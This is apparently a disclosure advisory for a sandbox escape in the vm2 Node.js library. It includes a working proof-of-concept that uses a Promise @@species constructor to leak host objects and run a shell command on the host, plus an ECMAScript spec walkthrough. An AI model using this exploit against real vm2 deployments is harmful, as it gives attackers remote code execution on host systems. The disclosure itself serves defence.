Sandbox Escape in [email protected] via Promise[@@species]
In vm2 for versions up to 3.9.19, Promise
handler sanitization can be bypassed with @@species
accessor property allowing attackers to escape the sandbox and run arbitrary code.
const {VM} = require("vm2");
const vm = new VM();
const code = `
async function fn() {
(function stack() {
new Error().stack;
stack();
})();
}
p = fn();
p.constructor = {
[Symbol.species]: class FakePromise {
constructor(executor) {
executor(
(x) => x,
(err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch pwned'); }
)
}
}
};
p.then();
`;
console.log(vm.run(code));
As host exceptions in async context (Promise
) may leak host objects into the sandbox, Promise.prototype.then
is overridden with a Proxy to sanitize arguments before calling user-provided onRejected handler (commit f3db4de).
ES2022 spec for 27.2.5.4 Promise.prototype.then specifies the following steps concerning @@species
(Symbol.species
):
3. Let C be ? SpeciesConstructor(promise, %Promise%).
4. Let resultCapability be ? NewPromiseCapability(C).
5. Return PerformPromiseThen(promise, onFulfilled, onRejected, resultCapability).
27.2.1.5 NewPromiseCapability ( C ) allows a new constructor defined as the value of @@species
accessor property to be used, where a single argument executor
is passed to the constructor. executor
is a closure that receives two handlers resolve
, reject
and sets each of the values to resultCapability.[[Resolve]]
and resultCapability.[[Reject]]
.
This is used in 27.2.5.4.1 PerformPromiseThen, where steps below define promise.[[PromiseState]]
rejected
case:
8. Let rejectReaction be the PromiseReaction { [[Capability]]: resultCapability, [[Type]]: Reject, [[Handler]]: onRejectedJobCallback }.
9. If promise.[[PromiseState]] is pending, then ...
10. Else if promise.[[PromiseState]] is fulfilled, then ...
11. Else,
a. Assert: The value of promise.[[PromiseState]] is rejected.
b. Let reason be promise.[[PromiseResult]].
c. If promise.[[PromiseIsHandled]] is false, perform HostPromiseRejectionTracker(promise, "handle").
d. Let rejectJob be NewPromiseReactionJob(rejectReaction, reason).
e. Perform HostEnqueuePromiseJob(rejectJob.[[Job]], rejectJob.[[Realm]]).
27.2.2.1 NewPromiseReactionJob ( reaction, argument ) specifies the following steps, emphasis wrapped in double asterisks (**
):
1. Let job be a new Job Abstract Closure with no parameters that captures reaction and argument and performs the following steps when called:
a. Let promiseCapability be reaction.[[Capability]].
b. Let type be reaction.[[Type]].
c. Let handler be reaction.[[Handler]].
d. **If handler is empty, then**
i. If type is Fulfill, let handlerResult be NormalCompletion(argument).
ii. Else,
1. Assert: type is Reject.
2. **Let handlerResult be ThrowCompletion(argument).**
e. Else, let handlerResult be Completion(HostCallJobCallback(handler, undefined, « argument »)).
f. If promiseCapability is undefined, then
i. Assert: handlerResult is not an abrupt completion.
ii. Return empty.
g. Assert: promiseCapability is a PromiseCapability Record.
h. **If handlerResult is an abrupt completion, then**
i. **Return ? Call(promiseCapability.[[Reject]], undefined, « handlerResult.[[Value]] »).**
i. Else,
i. Return ? Call(promiseCapability.[[Resolve]], undefined, « handlerResult.[[Value]] »).
Thus, we can abuse this and leak host object into the sandbox with the following steps:
- Call an asynchronous function that throws a host exception, returning a (rejected)
Promise
object. - Overwrite the
Promise
object'sconstructor
with an object definingSymbol.species
property, where value is:- Constructor receiving
executor
closure and calling it withresolve
and (malicious)reject
handler
- Constructor receiving
- Call
then()
method of thePromise
object withonRejected
handlerundefined
.
Note that the absence (empty
ness) of onRejected
handler is not a necessary condition for exploitation. Assuming that this is not empty
, let us revisit NewPromiseReactionJob
:
1. Let job be a new Job Abstract Closure with no parameters that captures reaction and argument and performs the following steps when called:
...
d. If handler is empty, then
...
e. **Else, let handlerResult be Completion(HostCallJobCallback(handler, undefined, « argument »)).**
...
g. Assert: promiseCapability is a PromiseCapability Record.
h. **If handlerResult is an abrupt completion, then**
i. **Return ? Call(promiseCapability.[[Reject]], undefined, « handlerResult.[[Value]] »).**
i. Else,
i. Return ? Call(promiseCapability.[[Resolve]], undefined, « handlerResult.[[Value]] »).
Thus if attacker provides an onRejected
handler that throws host exception, calling this handler in step 1.e will throw and return an abrupt completion handlerResult
with handlerResult.[[Value]]
set to the host exception leaking into promiseCapability.[[Reject]]
provided by the attacker-controlled @@species
constructor.
Remote Code Execution, assuming the attacker has arbitrary code execution primitive inside the context of vm2 sandbox.
Xion (SeungHyun Lee) of KAIST Hacking Lab
is there no way to prevent this leakage?